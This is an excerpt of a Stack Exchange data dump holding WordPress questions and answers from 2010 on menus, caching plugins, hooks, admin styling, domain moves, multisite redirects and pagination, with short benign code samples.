  <row Id="1282" PostTypeId="1" CreationDate="2010-09-03T08:44:17.313" Score="1" ViewCount="78" Body="&lt;p&gt;Say we got a theme with a horizontal menu that shows only the top-level pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you manage with the task to make the menu hierarchical, adding subpages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any appropriate plugins for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use custom css for that and you're not good enough for writing it yourself, where do you look for sample scripts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dynamicdrive.com is one place I found some stuff, but not too much.&lt;/p&gt;&#xA;" OwnerUserId="733" LastActivityDate="2010-09-03T09:37:33.433" Title="How do you cope with the task of adding hierarchy to the navigation menu?" Tags="&lt;custom-menus&gt;&lt;hierarchical&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="1283" PostTypeId="1" AcceptedAnswerId="1302" CreationDate="2010-09-03T08:48:16.443" Score="1" ViewCount="171" Body="&lt;p&gt;Online researching shows that there are many plugins out there to perform caching on WP.  Just to name a few:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;WP Super Cache&lt;/li&gt;&#xA;&lt;li&gt;W3 Total Cache&lt;/li&gt;&#xA;&lt;li&gt;WP Widget Cache&lt;/li&gt;&#xA;&lt;li&gt;DB Cache Reloaded&lt;/li&gt;&#xA;&lt;li&gt;1 Blog Cacher&lt;/li&gt;&#xA;&lt;li&gt;Hyper Cache&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is using just one plugin good, or is there a point in using more then one at the same time ?&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditorDisplayName="" LastEditDate="2010-09-03T17:53:26.623" LastActivityDate="2010-09-03T17:53:26.623" Title="How many caching plugins should be used?" Tags="&lt;performance&gt;&lt;cache&gt;&lt;memory&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="1284" PostTypeId="2" ParentId="1283" CreationDate="2010-09-03T08:55:47.890" Score="0" ViewCount="" Body="&lt;p&gt;It depends on the plugins you use. Some of them cache just posts and pages, others do the same to the sidebar only, other optimize more specific data (user data for examples)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd better read carefully the descriptions and decide for yourself.&lt;/p&gt;&#xA;" OwnerUserId="733" LastActivityDate="2010-09-03T08:55:47.890" CommentCount="2" />
  <row Id="1285" PostTypeId="2" ParentId="1274" CreationDate="2010-09-03T09:12:54.000" Score="3" ViewCount="" Body="&lt;p&gt;You would use the save_post hook, in your hooked function use wp_insert_term as described here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_term&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_insert_term&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use wp_set_object_terms on the post to assignt he taxonomy term you just created as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_set_object_terms&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_set_object_terms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_save($post_id) {&#xA;    wp_insert_term( 'bannanapost', 'fruit');&#xA;    wp_set_object_terms( $post_id, 'bannanapost', 'fruit', true )&#xA;}&#xA;add_action('save_post','my_save');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code, placed in functions.php of your theme, would add the term 'bannanapost' to each post when saved, in the fruit taxonomy&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2010-09-03T09:12:54.000" CommentCount="1" />
  <row Id="1286" PostTypeId="2" ParentId="1238" CreationDate="2010-09-03T09:15:57.257" Score="1" ViewCount="" Body="&lt;p&gt;Place this in functions.php and add a file custom-logo.gif ( 32x32 pixels ) in an images subfolder of your theme.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//hook the administrative header output&#xA;add_action('admin_head', 'my_custom_logo');&#xA;&#xA;function my_custom_logo() {&#xA;    echo '&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;#header-logo { background-image: url('.get_bloginfo('template_directory').'/images/custom-logo.gif) !important; }&#xA;&amp;lt;/style&amp;gt;&#xA;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="736" LastActivityDate="2010-09-03T09:15:57.257" CommunityOwnedDate="2010-09-03T09:15:57.257" />
  <row Id="1288" PostTypeId="2" ParentId="1279" CreationDate="2010-09-03T09:19:41.140" Score="3" ViewCount="" Body="&lt;p&gt;It's not likely an unused site is using mach resources except for harddrive space.  There may be something left in memory but on a typical server thats doubtfull.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;google bots trigger the site exactly the same as a regular user except it doesnt load unnessasary files like javascript, css or images (except maybe for image search).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp-cron I believe can be triggered using a cron job.  I'm not sure if wordpress attemps to do this by default,  It may vary depending on the server config.  &lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2010-09-03T09:19:41.140" CommentCount="1" />
  <row Id="1289" PostTypeId="2" ParentId="137" CreationDate="2010-09-03T09:22:28.857" Score="0" ViewCount="" Body="&lt;p&gt;You can use this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tag Uncomplete&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tag-uncomplete/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tag-uncomplete/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its intended for people who have a very large number of tag terms, but it does exactly what your wanting&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2010-09-03T09:22:28.857" CommentCount="1" />
  <row Id="1290" PostTypeId="2" ParentId="1282" CreationDate="2010-09-03T09:37:33.433" Score="1" ViewCount="" Body="&lt;p&gt;If you look at the new default theme for Wordpress 3, it fully supports custom drop down menu's right in the admin panel under apperance-&gt;menu's.  Depending on the theme you are using it should support submenu's by defualt.  &lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2010-09-03T09:37:33.433" CommentCount="2" />
  <row Id="1291" PostTypeId="2" ParentId="1238" CreationDate="2010-09-03T10:02:11.787" Score="2" ViewCount="" Body="&lt;p&gt;If you want this logo to show up across your network sites regardless of the theme I'd advise you to create a new PHP file inside &lt;code&gt;wp-content/mu-plugins&lt;/code&gt; (create the directory if it doesn't exist) and drop that code inside the new file. You can name your file whatever you like - for example &lt;code&gt;my-network-tweaks.php&lt;/code&gt;. That file will be loaded automatically as a plugin on all of the sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you'd like to override this image for a particular site you can make that function pluggable. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//hook the administrative header output&#xA;add_action('admin_head', 'my_custom_logo');&#xA;&#xA;// if override function exists load it up instead&#xA;if(function_exists('override_my_custom_logo')) {&#xA;&#xA;    function my_custom_logo() {&#xA;        override_my_custom_logo();&#xA;    }&#xA;&#xA;// fallback to original function&#xA;} else {&#xA;&#xA;    function my_custom_logo() {&#xA;        echo '&#xA;        &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;            #header-logo { background-image: url('/path/to/images/custom-logo.gif) !important; }&#xA;        &amp;lt;/style&amp;gt;&#xA;        ';&#xA;    }&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I've changed the image path because we want it to point to a single file for the whole network. Using &lt;code&gt;get_bloginfo('template_directory')&lt;/code&gt; would cause it to load the image from the theme directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to override the image for a single site, just use Tom J Nowell's code renaming the function to &lt;code&gt;override_my_custom_logo&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="626" LastActivityDate="2010-09-03T10:02:11.787" CommunityOwnedDate="2010-09-03T10:02:11.787" CommentCount="2" />
  <row Id="1292" PostTypeId="1" CreationDate="2010-09-03T10:24:44.713" Score="2" ViewCount="103" Body="&lt;p&gt;I've added a custom textarea for the create/edit post admin page. I did so using the add_meta_box() function. The problem is that the add_meta_box() callback function (which saves the data input into the textarea) calls the update_post_meta(). update_post_meta() then adds a custom field within the custom field section. So you essential end up with two textareas for the same field! The one you've created and the auto generated one!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to remove the auto generated custom field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jon&lt;/p&gt;&#xA;" OwnerUserId="634" LastActivityDate="2010-09-03T11:14:58.390" Title="How do i hide the auto-generated custom field that's created when update_post_meta() is called?" Tags="&lt;metabox&gt;" AnswerCount="1" />
  <row Id="1293" PostTypeId="1" AcceptedAnswerId="1334" CreationDate="2010-09-03T10:25:04.753" Score="2" ViewCount="84" Body="&lt;p&gt;I have installed the &lt;a href=&quot;http://wordpress.org/extend/plugins/seaweed/&quot; rel=&quot;nofollow&quot;&gt;Seaweed (Wordpress Plugin)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have successfully installed it and I can able to edit the content. But the save function is not functioning popularly. when I clicked on the &quot;save button&quot;, the processing bar displays and nothing happens beyond that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has any one try it ? Could any one help me to make use of it.&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-09-05T09:15:44.357" LastActivityDate="2010-09-05T09:15:44.357" CommunityOwnedDate="2010-09-03T13:49:48.127" Title="Seaweed Plugin not working" Tags="&lt;plugins&gt;&lt;errors&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="1294" PostTypeId="1" AcceptedAnswerId="1295" CreationDate="2010-09-03T10:27:24.617" Score="3" ViewCount="276" Body="&lt;p&gt;Let's say we are currently hosting our WordPress blog on certain domain and would like to move it to a new domain. How to do this with the least hassle and SEO hit? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any plugins that could help with this? (for example providing automatic cross-domain 301 redirection or similar)&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2010-09-04T06:19:23.260" Title="How to transfer a WordPress blog to a different domain?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;deploy&gt;&lt;transfer&gt;&lt;domain&gt;" AnswerCount="4" FavoriteCount="4" />
  <row Id="1295" PostTypeId="2" ParentId="1294" CreationDate="2010-09-03T11:03:57.460" Score="2" ViewCount="" Body="&lt;p&gt;I recommend handling the 301 redirect in your web server rather than in WordPress. mod_rewrite or RedirectMatch will be much more efficient than spinning up WordPress to deliver a &lt;code&gt;Location&lt;/code&gt;: header.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName busted-cheap-url.com&#xA;&#xA;    # mod_alias&#xA;    RedirectMatch permanent (.*) http://great-new-url.com$1&#xA;&#xA;    # OR mod_rewrite&#xA;    RewriteEngine on&#xA;    RewriteRule (.*) http://great-new-url.com$1 [R=301]&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are several methods for changing the blog URL; I tend to prefer setting a new &lt;code&gt;WP_HOME&lt;/code&gt; and &lt;code&gt;WP_SITEURL&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt; as a quick fix, and running SQL commands in the database as a more permanent solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;Changing The Site URL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;Easily Move a WordPress Install from Development to Production?&lt;/a&gt;, which recommends several ways to move a blog to a new URL&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-09-03T11:03:57.460" CommentCount="2" />
  <row Id="1296" PostTypeId="2" ParentId="1292" CreationDate="2010-09-03T11:14:58.390" Score="1" ViewCount="" Body="&lt;p&gt;If the meta field starts with an underscore, &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/template.php#L2375&quot; rel=&quot;nofollow&quot;&gt;it will be hidden in the interface&lt;/a&gt; by adding the class &lt;code&gt;hidden&lt;/code&gt; to the &lt;code&gt;&amp;lt;tr&amp;gt;&lt;/code&gt; element. You could also apply this class by yourself using Javascript, the &lt;code&gt;&amp;lt;tr&amp;gt;&lt;/code&gt; element has an id of &lt;code&gt;meta-{$custom_field_id}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-03T11:14:58.390" CommentCount="1" />
  <row Id="1297" PostTypeId="2" ParentId="1279" CreationDate="2010-09-03T11:16:36.873" Score="2" ViewCount="" Body="&lt;p&gt;Unless some user or robot is accessing your server, the files will sit there inert, consuming nothing besides disk space. The web server needs some trigger to access those files, so even WordPress cron jobs won't run unless somebody visits your blog. That's why there exist instructions on triggering wp-cron manually, ie. through a system cron job.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-09-03T11:16:36.873" />
  <row Id="1298" PostTypeId="2" ParentId="1270" CreationDate="2010-09-03T12:13:49.640" Score="3" ViewCount="" Body="&lt;p&gt;Given the way that Linux and Windows are licensed, using Linux would cut on the OS licensing costs, and Linux would make a better use of the CPU as you would only load the modules and process you need, with greater flexibility than Windows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can run a server-only Linux, which is not possible under Windows, as well as running a headless computer, which you can access using a simple SSH connection. You may want to take a look at DistroWatch:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.distrowatch.com&quot; rel=&quot;nofollow&quot;&gt;http://www.distrowatch.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They will list all the major distros as well as those that are geared towards server configuration. The LAMP (Linux Apache MySQL PHP) configuration is what you are looking for. &lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2010-09-03T12:13:49.640" />
  <row Id="1300" PostTypeId="1" AcceptedAnswerId="1304" CreationDate="2010-09-03T12:49:35.013" Score="0" ViewCount="330" Body="&lt;p&gt;I am currently using Amazons Cloud Front service with the super awesome and easy to use W3 Total Cache wordpress plugin. All appears to be working correctly but I do get a chronic error in the admin panel from W3 Total Cache saying:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Recently an error occurred while&#xA;  creating the CSS / JS minify cache:&#xA;  Some files were unavailable, please&#xA;  check your settings to ensure your&#xA;  site is working as intended&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does anybody have any thoughts on this?&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="648" LastActivityDate="2010-09-03T15:44:55.200" Title="W3 Total Cache plugin chronic message" Tags="&lt;plugins&gt;&lt;cache&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="1301" PostTypeId="2" ParentId="1272" CreationDate="2010-09-03T14:39:01.313" Score="3" ViewCount="" Body="&lt;p&gt;The visual editor will automatically escape HTML tags (the &lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt; brackets in particular) to prevent code you intend to display from being interpreted by the browser as markup.  The easiest way to make sure the content is exactly what you type is to use the &lt;strong&gt;HTML editor&lt;/strong&gt; rather than the Visual editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a code highlighting plug-in called &lt;a href=&quot;http://kpumuk.info/projects/wordpress-plugins/codecolorer/&quot; rel=&quot;nofollow&quot;&gt;Code Colorer&lt;/a&gt;, and I input all of my &quot;highlighted&quot; code directly in the HTML editor just to make sure it appears exactly as I typed it.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-03T14:39:01.313" CommentCount="1" />
  <row Id="1302" PostTypeId="2" ParentId="1283" CreationDate="2010-09-03T14:50:02.770" Score="7" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Tal,&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking you should only be using one caching plugin.  WP Super Cache, W3 Total Cache, Hyper Cache and DB Cache Reloaded all drop files directly in your wp-content directory and they would conflict with each other and cause errors if you were using more than one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend using W3 Total Cache because it gives you the option of using 5 levels of caching.  Page Cache, DB Cache, Object Cache, Minify, and Browser Cache plus it has built in support for using a CDN. &lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-03T14:50:02.770" CommentCount="1" />
  <row Id="1303" PostTypeId="1" AcceptedAnswerId="1307" CreationDate="2010-09-03T14:52:03.033" Score="2" ViewCount="92" Body="&lt;p&gt;By default, my site's RSS feed URLs are in this format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category/[category-name]/feed/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, that doesn't allow me to view a feed using multiple categories. Is anyone aware of a simple workaround, or is this something I'll need to write myself?&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2010-10-22T01:21:55.220" Title="How do I view a feed consisting of posts from multiple categories?" Tags="&lt;categories&gt;&lt;rss&gt;" AnswerCount="2" />
  <row Id="1304" PostTypeId="2" ParentId="1300" CreationDate="2010-09-03T15:44:55.200" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Eric,&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updating to the development version might solve the problem but I suggest submitting a bug report to Fredrick.  This will help him in the development of the plugin and help you by determining the cause of the problem.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To submit the bug report go to support in the plugin admin and fill in all the information and Fredrick will investigate.  It usually takes him a day or 2 depending on how busy he is but I know he investigates all issues brought to his attention.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-03T15:44:55.200" CommentCount="1" />
  <row Id="1305" PostTypeId="2" ParentId="1270" CreationDate="2010-09-03T16:26:21.900" Score="2" ViewCount="" Body="&lt;p&gt;I've used it on both but prefer Linux because I wasn't able to directly manage file permissions with my FTP client in the Windows environment. If you have a choice, choose Linux.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-03T16:26:21.900" />
  <row Id="1306" PostTypeId="2" ParentId="1303" CreationDate="2010-09-03T17:01:18.013" Score="0" ViewCount="" Body="&lt;p&gt;I can recommend this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/feed-wrangler/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Feed Wrangler&lt;/strong&gt;&lt;/a&gt; as it allows you to create your own custom feed but requires some modification of feed template files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an article listing 10 different external sites/services that can mix and blend feeds: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tothepc.com/archives/10-tools-to-combine-mix-blend-multiple-rss-feeds/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;10 Tools to Combine, Mix, Blend Multiple RSS Feeds&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;RSSMIX seems to come highly recommended it is even mentioned in the wordpress codex here: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Customizing_Feeds&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Customizing Feeds on WordPress' Codex&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="713" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-22T01:21:55.220" LastActivityDate="2010-10-22T01:21:55.220" />
  <row Id="1307" PostTypeId="2" ParentId="1303" CreationDate="2010-09-03T17:02:49.910" Score="4" ViewCount="" Body="&lt;p&gt;Maybe this might help: &lt;a href=&quot;http://wordpress.org/support/topic/how-to-create-rss-feed-that-includes-multiple-categories&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/how-to-create-rss-feed-that-includes-multiple-categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2010-09-03T17:02:49.910" CommentCount="1" />
  <row Id="1308" PostTypeId="2" ParentId="1200" CreationDate="2010-09-03T18:13:56.197" Score="0" ViewCount="" Body="&lt;p&gt;I kept digging on this and I found that the Twitter Tools widget depends on a table called wp_ak_twitter. I didn't have this table, probably because my Wordpress database user doesn't have create table privileges. I create the table by hand and now the widget is working.&lt;/p&gt;&#xA;" OwnerUserId="158" LastActivityDate="2010-09-03T18:13:56.197" />
  <row Id="1309" PostTypeId="1" AcceptedAnswerId="1310" CreationDate="2010-09-03T18:30:09.560" Score="0" ViewCount="62" Body="&lt;p&gt;After enabling SuperAdmin and multisite functionality in WP3 many users are getting redirected to a sign-up url.  I do not have account sign-up enabled, how do I turn this off?  It seems to happen when any invalid subdomain is used including my-domain.com instead of www.my-domain.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix?&lt;/p&gt;&#xA;" OwnerUserId="514" LastActivityDate="2010-09-03T18:32:38.430" Title="How do I fix unexpected redirection of visitors after enabling multisite on WP3?" Tags="&lt;3.0&gt;&lt;404-error&gt;" AnswerCount="1" />
  <row Id="1310" PostTypeId="2" ParentId="1309" CreationDate="2010-09-03T18:32:38.430" Score="0" ViewCount="" Body="&lt;p&gt;I am answering my own question so others can find it in the future.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;defining NOBLOGREDIRECT in wp-config.php to point to the url of your choice will correct this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample:  define('NOBLOGREDIRECT', 'http://www.my-domain.com');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MM/RC&lt;/p&gt;&#xA;" OwnerUserId="514" LastActivityDate="2010-09-03T18:32:38.430" />
  <row Id="1311" PostTypeId="1" CreationDate="2010-09-03T19:04:00.057" Score="0" ViewCount="304" Body="&lt;p&gt;I want a writing panel for a custom field called 'Sub-title' and would like it to appear in its logical place in the Page editor (that is, between the title and the Page content).  Is that possible?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to avoid having to create a custom post type, since a Page + custom fields is all I really need.&lt;/p&gt;&#xA;" OwnerUserId="106" LastEditorUserId="106" LastEditorDisplayName="" LastEditDate="2010-09-03T19:11:00.133" LastActivityDate="2010-10-01T17:53:15.510" Title="How to insert a writing panel between the title and the page content?" Tags="&lt;custom-field&gt;&lt;customization&gt;&lt;writing&gt;" AnswerCount="5" />
  <row Id="1312" PostTypeId="2" ParentId="1311" CreationDate="2010-09-03T19:22:13.927" Score="0" ViewCount="" Body="&lt;p&gt;You can add it below the content area and use javascript code to move it above it.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-03T19:22:13.927" CommentCount="2" />
  <row Id="1313" PostTypeId="2" ParentId="1294" CreationDate="2010-09-03T19:27:43.853" Score="1" ViewCount="" Body="&lt;p&gt;Look at the previous answer as to SEO and 301 redirect.&#xA;As for moving wordpress:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change the site_url and home_url values in your db. these two values resid in wp-options. just use the phpmyadmin interface to change them to the new wordpress location&lt;/li&gt;&#xA;&lt;li&gt;Use wordpress &lt;a href=&quot;http://wordpress.org/extend/plugins/search-and-replace/&quot; rel=&quot;nofollow&quot;&gt;search&amp;amp;replace plugin&lt;/a&gt; in order to make sure all your in-bound links and images don't break. (just change &lt;a href=&quot;http://oldurl.com&quot; rel=&quot;nofollow&quot;&gt;http://oldurl.com&lt;/a&gt; to &lt;a href=&quot;http://newurl.com&quot; rel=&quot;nofollow&quot;&gt;http://newurl.com&lt;/a&gt; for all content and post meta it's a fairly easy to use plugin)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's about it. you're good to go.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-09-03T19:27:43.853" />
  <row Id="1314" PostTypeId="1" AcceptedAnswerId="1348" CreationDate="2010-09-03T21:13:43.947" Score="1" ViewCount="245" Body="&lt;p&gt;By default, when adding &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt;, the following links are displayed:&#xA;Pages: 1 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to replace &quot;Pages:&quot; with a graphic arrow which links back to the previous page, and append a graphic arrow to the end of the links that links to the next page. I'm guessing there's a way to do this in the functions file?&lt;/p&gt;&#xA;" OwnerUserId="30" LastActivityDate="2010-09-04T18:37:07.917" Title="How to edit theme functions file to modify pagination?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;customization&gt;" AnswerCount="2" />
  <row Id="1315" PostTypeId="2" ParentId="1314" CreationDate="2010-09-03T21:32:16.843" Score="0" ViewCount="" Body="&lt;p&gt;I have to admit that &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt; isn't a very well-documented feature (there's not even a button for it in the UI of the post editor!).  But it's still incredibly useful and I've used it a few times to break up longer posts on my own site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to what documentation exists, though, this tag uses the function &lt;code&gt;wp_link_pages()&lt;/code&gt;.  &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_link_pages&quot; rel=&quot;nofollow&quot;&gt;This function&lt;/a&gt; accepts a few parameters that allow you to style the output as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you'd want to use the &lt;code&gt;next_page_link&lt;/code&gt; and &lt;code&gt;previous_page_link&lt;/code&gt; arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at the bottom of &lt;code&gt;single.php&lt;/code&gt;, use the following code to generate your page links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;wp_link_pages( array(&#xA;    'before' =&amp;gt; '&amp;lt;p&amp;gt;',&#xA;    'after' =&amp;gt; '&amp;lt;/p&amp;gt;',&#xA;    'next_or_number' =&amp;gt; 'next', &#xA;    'previouspagelink' =&amp;gt; ' &amp;amp;laquo; ', &#xA;    'nextpagelink' =&amp;gt; ' &amp;amp;raquo;'&#xA;    )&#xA;); &#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will replace the page numbers with &amp;lt;&amp;lt; and &gt;&gt; arrows.  It will also remove the &quot;Pages:&quot; text while keeping your links contained within a &lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt; block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Styling_Page-Links&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Styling_Page-Links&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-03T21:32:16.843" CommentCount="3" />
  <row Id="1316" PostTypeId="1" AcceptedAnswerId="1318" CreationDate="2010-09-03T21:34:39.107" Score="0" ViewCount="357" Body="&lt;p&gt;I'm building a Theme Options page for my theme, and I've managed to get most of it working fine. But now I'm trying to show and hide certain parts in my theme based on a simple check box. An example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Show featured content slider ?&#xA;  - Yes&#xA;  - No&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When the user selects yes I want to enable the following code in a certain template of my theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php locate_template( array( 'includes/slider.php'), true ) ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So how can I wrap this code so that it only shows when Yes is clicked? I think it's some kind of conditional statement but I have now idea how to approach this. Since I can't write php I need some help with this :) The name of the option is called bpslick_featured. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="753" LastActivityDate="2010-09-04T01:44:18.063" Title="How can I display/hide certain content based on a Theme Option field?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;admin&gt;&lt;options&gt;" AnswerCount="1" FavoriteCount="1" />
